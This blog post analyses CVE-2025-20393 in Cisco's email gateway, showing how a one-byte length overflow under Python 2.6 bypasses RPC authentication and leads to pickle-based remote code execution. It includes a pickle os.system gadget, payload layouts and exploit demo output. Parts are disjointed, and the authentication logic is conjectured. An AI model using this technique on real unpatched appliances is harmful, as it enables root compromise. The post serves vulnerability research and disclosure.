## TL;DR

In December 2025, Cisco published https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4 addressing CVE-2025-20393, a critical vulnerability (CVSS 10.0) affecting Cisco Secure Email Gateway and Secure Email and Web Manager. The advisory was notably sparse on technical details, describing only “Improper Input Validation” (CWE-20).

We decided to dig deeper. Through reverse engineering and code analysis of AsyncOS 15.5.3, we uncovered the root cause: a single-byte integer overflow in the EUQ RPC protocol that bypasses authentication and chains into Python pickle deserialization — achieving unauthenticated remote code execution with a single HTTP request.

This post documents our reproduction and analysis of CVE-2025-20393.

## Introduction

On December 17, 2025, Cisco released a security advisory for a critical vulnerability affecting their email security products:

FieldValue**Advisory ID**cisco-sa-sma-attack-N9bf4**CVE**CVE-2025-20393**CVSS 3.1****10.0 (Critical)****CWE**CWE-20 (Improper Input Validation)**Affected Products**Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)**Bug IDs**CSCws36549, CSCws52505**Workarounds**None available

A CVSS score of 10.0 is rare — it indicates an unauthenticated, network-exploitable vulnerability with complete system compromise. Yet the advisory offered minimal technical insight, leaving security practitioners wondering: what exactly is being exploited?

We obtained a copy of AsyncOS 15.5.3 firmware and set out to answer that question.

Our approach? Wait for the patch, then diff it.

## Patch Diffing: Finding the Needle

When the patched AsyncOS firmware became available, we extracted both versions and started comparing. The EUQ (End User Quarantine) service immediately caught our attention — it’s network-exposed on port 83 and heavily uses Python.

Comparing CommandMessage.py between AsyncOS 15.5.3 (vulnerable) and the patched version a(15.5.4):

“`
$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py AsyncOS_patched/site-packages/zeus/CommandMessage.py 30a26,47 > if destination is not None: > if len(destination) >= 255: > debug_str = ‘DEBUG:send_message:Invalid destination len:%r source len:%r message_type:%r ttl:%r message_len:%r’ % ( > len(destination), > len(source), > message_type, > ttl, > len(message)) > coro.print_stderr(debug_str) > coro.print_stderr(who_calls.who_calls()) > raise Commandment.MessageFormatError() > if source is not None: > if len(source) >= 255: > debug_str = ‘DEBUG:send_message:Invalid source len:%r source len:%r message_type:%r ttl:%r message_len:%r’ % ( > len(source), > len(destination), > message_type, > ttl, > len(message)) > coro.print_stderr(debug_str) > coro.print_stderr(who_calls.who_calls()) > raise Commandment.MessageFormatError()
“`

The patch adds explicit validation: destination and source must be less than 255 bytes. If exceeded, a MessageFormatError is raised.

**The Critical Question**

When my colleague Jiantao reviewed this diff, he asked the key question: “Why 255? What happens if someone sends 256 bytes?” That seemingly simple question unlocked the entire vulnerability chain.

**The Python 2.6 Factor**

Looking at the decompiled header of the vulnerable file:

“`
# Python bytecode version base 2.6 (62161) # Compiled at: 2024-11-27 14:22:42
“`

AsyncOS uses Python 2.6 — a version released in 1st October 2008 and EOL since 29th October 2013. This matters because Python 2.6’s struct.pack has a critical behavioral difference from modern Python.

Modern Python (3.x): Strict Validation

“`
$ python3 Python 3.12.9 (main, Sep 14 2025, 23:32:51) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin Type “help”, “copyright”, “credits” or “license” for more information. >>> import struct >>> struct.pack(‘>B’, 256) Traceback (most recent call last): File “”, line 1, in struct.error: ‘B’ format requires 0 <= number <= 255 >>>
“`

Python 3 raises an exception when the value exceeds the format’s range.

**Python 2.6: Silent Truncation**

“`
Python 2.6.9 >>> import struct >>> struct.pack(‘>B’, 256) ‘x00’ >>> struct.pack(‘>B’, 289) ‘!’ >>> ord(‘!’) 33
“`

Python 2.6 silently truncates the value to fit within the byte range:

“`
256 % 256 = 0 → ‘x00’ 289 % 256 = 33 → ‘!’ (0x21) 512 % 256 = 0 → ‘x00’
“`

This is the integer overflow. In Python 2.6, `struct.pack(‘>B’, 256)` doesn’t fail — it returns `0x00`.

**Why This Matters**

The RPC message packing code uses:

“`
dst_len = struct.pack(‘>B’, len(destination))
“`

If len(destination) = 256:

– Python 3: Exception raised, attack fails
– Python 2.6: dst_len = ‘\x00’, attack succeed

Cisco’s ancient Python 2.6 runtime transformed a potential crash into an exploitable overflow.

## Background: EUQ RPC Protocol

Now that we understand why the overflow occurs, let’s examine where and how.

The End User Quarantine Service

EUQ allows email recipients to manage quarantined messages via a web interface on port 83. The architecture:

“`
┌─────────────┐ HTTPS/83 ┌─────────────┐ RPC ┌─────────────┐ │ End User │ ◄───────────────► │ EUQ Web │ ◄────────────► │ EUQ Backend│ │ Browser │ │ Frontend │ │ (Python) │ └─────────────┘ └─────────────┘ └─────────────┘ │ ▼ /Search endpoint ?auth=…&serial=…
“`

The Message Header Definition

In `Commandment.py`, the RPC message header format is defined:

at Commandment.py (Lines 7-8)

“`
HEADER = ‘>BBIIBB32s’ HEADER_LENGTH = struct.calcsize(HEADER)
“`

Let’s decode this struct format string:

FormatTypeSizeFieldBig-endian-Byte order modifierunsigned char1 byteversionunsigned char1 bytettlunsigned int4 bytesmessage_lengthunsigned int4 bytesmessage_typeunsigned char1 bytesource_lengthunsigned char1 bytedestination_lengthchar[32]32 bytestxn_tag

Total header size: 1+1+4+4+1+1+32 = 44 bytes

The vulnerability is in `source_length` and `destination_length` — both are defined as single-byte unsigned chars (B), limiting their range to 0-255.

Message Construction: `send_message()`

“`
def send_message(write_method, message_type, source, destination=”, message=”, ttl=0, timeout=0, tag=None): header = struct.pack(Commandment.HEADER, Commandment.MESSAGE_VERSION, ttl, len(message), message_type, len(source), len(destination), _message_tag(tag)) if timeout: coro.with_timeout(timeout, write_method, header + source + destination) for x in xrange(0, len(message), MAX_PACKET_SIZE): coro.with_timeout(timeout, write_method, message[x:x + MAX_PACKET_SIZE]) else: packet = header + source + destination + message write_method(packet) return
“`

Critical observation at line 31: When `len(destination)` exceeds `255`, Python 2.6’s struct.pack with format ‘B’ silently truncates the value:

“`
# Python 2.6 behavior demonstration >>> import struct >>> struct.pack(‘>B’, 256) # Expected: error, Actual: ‘x00’ ‘x00’ >>> struct.pack(‘>B’, 289) # Expected: error, Actual: ‘!’ (0x21 = 33) ‘!’
“`

The receiving end parses messages using read_message():

Message Parsing: `read_message()`

“`
# CommandMessage.py (Lines 74-89) def read_message(read_method, timeout=0): # Read the fixed-size header (44 bytes) header = _read(read_method, Commandment.HEADER_LENGTH, timeout) try: # Unpack header fields (version, ttl, message_length, message_type, source_length, destination_length, txn_tag) = struct.unpack( Commandment.HEADER, header) except struct.error: raise Commandment.MessageFormatError() # Validate protocol version if version != Commandment.MESSAGE_VERSION: raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION) # Read source field based on source_length source = _read(read_method, source_length, timeout) # Read destination field based on destination_length if destination_length: destination = _read(read_method, destination_length, timeout) else: destination = ” # ← When destination_length=0, empty string! # Read message payload message = _read(read_method, message_length, timeout) return (txn_tag.rstrip(‘x00’), ttl, message_type, source, destination, message)
“`

Key vulnerability path (lines 84-87):

– When destination_length = 0 (due to overflow), the code takes the else branch
– destination is set to empty string ‘’
– No authentication validation occurs on an empty destination
– The attacker-controlled message payload proceeds to cPickle.loads()

**Complete Message Structure**

Based on the code analysis, the full RPC message format is:

“`
┌─────────────────────────────────── HEADER (44 bytes) ───────────────────────────────────┐ │ │ │ ┌─────────┬─────────┬──────────────┬──────────────┬────────────┬─────────────┬────────┐ │ │ │ version │ ttl │ message_len │ message_type │ source_len │ dest_len │txn_tag │ │ │ │ (1B) │ (1B) │ (4B) │ (4B) │ (1B) │ (1B) │ (32B) │ │ │ │ ‘B’ │ ‘B’ │ ‘I’ │ ‘I’ │ ‘B’ │ ‘B’ │ ’32s’ │ │ │ └─────────┴─────────┴──────────────┴──────────────┴────────────┴─────────────┴────────┘ │ │ │ └──────────────────────────────────────────────────────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────── BODY (variable) ────────────────────────────────────┐ │ │ │ ┌────────────────────────┬─────────────────────────┬──────────────────────────────────┐ │ │ │ source │ destination │ message │ │ │ │ (source_len bytes) │ (dest_len bytes) │ (message_len bytes) │ │ │ │ │ │ → cPickle.loads() │ │ │ └────────────────────────┴─────────────────────────┴──────────────────────────────────┘ │ │ │ └──────────────────────────────────────────────────────────────────────────────────────────┘
“`

## Vulnerability Analysis

**The Overflow Chain**

Let’s trace what happens when we send a 256-byte destination:

**Step 1: Message Packing (Sender Side)**

“`
# In send_message() – vulnerable version destination = attacker_controlled_256_bytes header = struct.pack(‘>BBIIBB32s’, …, len(destination), # 256 → Python 2.6 truncates to 0x00 … )
“`

**Step 2: Message Parsing (Receiver Side)**

“`
# In read_message() (version, ttl, message_length, message_type, source_length, destination_length, txn_tag) = struct.unpack(‘>BBIIBB32s’, header) # destination_length = 0 (from overflow) if destination_length: # False! destination = _read(read_method, destination_length, timeout) else: destination = ” # Empty string, auth bypassed! message = _read(read_method, message_length, timeout) return (…, destination, message) # Attacker’s pickle goes to handler
“`

**Step 3: RCE via Pickle**

“`
# In RPC handler result = cPickle.loads(message) # Attacker-controlled deserialization → RCE
“`

**Code Flow Diagram**

“`
Attacker sends 256-byte serial parameter │ ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ send_message() @ CommandMessage.py:30 │ │ │ │ destination = attacker_payload (256 bytes) │ │ │ │ │ ▼ │ │ struct.pack(‘>BBIIBB32s’, …, len(destination), …) │ │ struct.pack(…, 256, …) │ │ │ │ │ ▼ │ │ Python 2.6: 256 % 256 = 0 → ‘x00’ ← INTEGER OVERFLOW │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ │ │ Network transmission ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ read_message() @ CommandMessage.py:74 │ │ │ │ header = _read(read_method, 44, timeout) │ │ (…, dest_len, …) = struct.unpack(‘>BBIIBB32s’, header) │ │ │ │ │ ▼ │ │ dest_len = 0 ← FROM OVERFLOW │ │ │ │ │ ▼ │ │ if dest_len: # False! │ │ destination = _read(read_method, dest_len, timeout) │ │ else: │ │ destination = ” ← EMPTY, AUTH BYPASSED │ │ │ │ │ ▼ │ │ message = _read(read_method, message_len, timeout) │ │ return (…, destination, message) │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ RPC Handler │ │ │ │ (_, _, _, _, destination, message) = read_message(…) │ │ │ │ │ ▼ │ │ # destination = ” (empty) – validation skipped or passes │ │ │ │ │ ▼ │ │ result = cPickle.loads(message) ← ATTACKER-CONTROLLED PICKLE │ │ │ │ │ ▼ │ │ os.system(‘attacker_command’) ← RCE ACHIEVED │ │ │ └─────────────────────────────────────────────────────────────────────────────┘
“`

**Why Pickle is Dangerous**

For completeness, here’s why `cPickle.loads()` on untrusted input is catastrophic:

“`
import pickle import os class Exploit: def __reduce__(self): return (os.system, (‘id’,)) # Serialize payload = pickle.dumps(Exploit()) # When deserialized, executes: os.system(‘id’) pickle.loads(payload) # uid=0(root) gid=0(wheel)…
“`

The `__reduce__` method tells pickle how to reconstruct the object — and that “reconstruction” can be arbitrary code execution.

## Exploitation Strategy: Authentication Bypass Deep Dive

### The Authentication Problem

In normal operation, the EUQ RPC protocol uses the destination field for authentication. The server validates that incoming messages are addressed to its own serial number:

“`
# Simplified authentication logic in RPC handler def handle_rpc_message(message_data): (_, _, _, source, destination, message) = read_message(…) # Authentication check: destination must match server’s serial if destination != MY_SERIAL_NUMBER: raise AuthenticationError(“Message not for this server”) # Only if auth passes, process the message result = cPickle.loads(message)
“`

The challenge: To exploit the pickle deserialization, we need to pass the authentication check. But how can we know the target server’s serial number

**Two Exploitation Approaches**

We developed two distinct exploitation strategies:

– Serial: “564D3D47E3BCFBA26307-2EC835E2635A” (33 bytes)
– Payload length: 256 + 33 = 289 bytes
– Overflow: 289 % 256 = 33 ✓

Server reads 33 bytes as destination → matches serial → auth passes

ApproachRequirementOverflow ValueUse Case**Serial Matching**Know target’s serialWhen serial is leaked**Zero-Length Bypass**NothingUniversal, no prerequisites

**Payload layout:**

“`
┌────────────────────────┬────────────────────┬─────────────────┐ │ Server Serial │ Pickle Payload │ Padding │ │ (33 bytes) │ (72 bytes) │ (184 bytes) │ └────────────────────────┴────────────────────┴─────────────────┘ Total: 289 bytes → 289 % 256 = 33 │ │ ▼ ▼ Passes auth check cPickle.loads() → RCE
“`

Approach 2: Zero-Length Bypass (No Prerequisites) ✓

The key insight from Jiantao was recognizing that `dst_len = 0` creates a special case. Let’s examine the `read_message()` code again:

“`
# CommandMessage.py (Lines 84-87) def read_message(read_method, timeout=0): # … unpack header … # destination_length comes from header (attacker-controlled via overflow) if destination_length: # [1] Check if non-zero destination = _read(read_method, destination_length, timeout) else: destination = ” # [2] Empty string when dst_len=0! # … continue processing …
“`

When destination_length = 0:

1. The if destination_length: check at [1] evaluates to False (0 is falsy)
2. Code takes the else branch at [2]
3. destination is set to empty string ‘’
4. No bytes are read from the network for destination

**Why Empty Destination Bypasses Auth**

Through our analysis, we identified that the authentication check has one of these behaviors when destination is empty:

“`
if destination: # Empty string is falsy in Python if destination != MY_SERIAL_NUMBER: raise AuthenticationError(…) # Empty destination → validation skipped entirely Scenario B: Broadcast/local message handling if destination == ” or destination == MY_SERIAL_NUMBER: # Accept message (empty = broadcast or local) process_message(…) Scenario C: Error handling falls through try: validate_destination(destination) # May not handle empty case except: pass # Silently continue
“`

In any of these cases, an empty destination allows the message to proceed to `cPickle.loads()`.

**Comparison: Serial Matching vs Zero-Length**

“`
┌─────────────────────────────────────────────────────────────────────────────┐ │ SERIAL MATCHING APPROACH │ ├─────────────────────────────────────────────────────────────────────────────┤ │ Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes │ │ │ │ Overflow: 289 % 256 = 33 │ │ │ │ Server reads: │ │ dst_len = 33 │ │ destination = payload[0:33] = “564D3D47E3BCFBA26307-2EC835E2635A” │ │ Auth check: destination == MY_SERIAL → PASS ✓ │ │ message = payload[33:105] = pickle_gadget │ │ cPickle.loads(message) → RCE │ │ │ │ Requirement: Must know server’s serial number │ └─────────────────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────────────────┐ │ ZERO-LENGTH BYPASS APPROACH ✓ │ ├─────────────────────────────────────────────────────────────────────────────┤ │ Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes │ │ │ │ Overflow: 256 % 256 = 0 │ │ │ │ Server reads: │ │ dst_len = 0 │ │ if dst_len: … else: destination = ” ← EMPTY STRING │ │ Auth check: destination == ” → BYPASS! ✓ │ │ message = payload[0:72] = pickle_gadget │ │ cPickle.loads(message) → RCE │ │ │ │ Requirement: NONE – works against any target │ └─────────────────────────────────────────────────────────────────────────────┘
“`

**Why We Chose Zero-Length Bypass**

### Demo

“`
$ python3 exploit.py 192.168.2.10 ‘id > /tmp/pwned’ ====================================================================== CVE-2025-20393 – Cisco Secure Email Gateway RCE Advisory: cisco-sa-sma-attack-N9bf4 ====================================================================== [*] Target: https://192.168.2.10:83 [*] Command: id > /tmp/pwned [*] Exploit Details: ├─ Python 2.6 struct.pack(‘>B’, 256) = 0x00 (truncated) ├─ Pickle gadget: 72 bytes ├─ Padding: 184 bytes ├─ Total payload: 256 bytes └─ Overflow: 256 % 256 = 0 [*] URL length: 891 bytes [*] Sending exploit… [+] Read timeout – likely successful! (Server busy executing pickle payload) [*] Verify: $ ssh [email protected] ‘cat /tmp/pwned’ Verification $ ssh [email protected] ‘cat /tmp/pwned’ uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
“`

## Conclusion

CVE-2025-20393 demonstrates the compounding danger of technical debt:

1. Python 2.6 — A 17-year-old runtime with unsafe default behaviors
2. 1-byte length fields — A premature optimization creating overflow conditions
3. Pickle deserialization — Convenient but equivalent to eval() on untrusted input
4. Missing validation — The patch shows what should have existed from day one

The vulnerability was hiding in plain sight. When Cisco added if len(destination) >= 255: raise Error, they revealed exactly where the bug was. Sometimes the best vulnerability research is just reading the diff.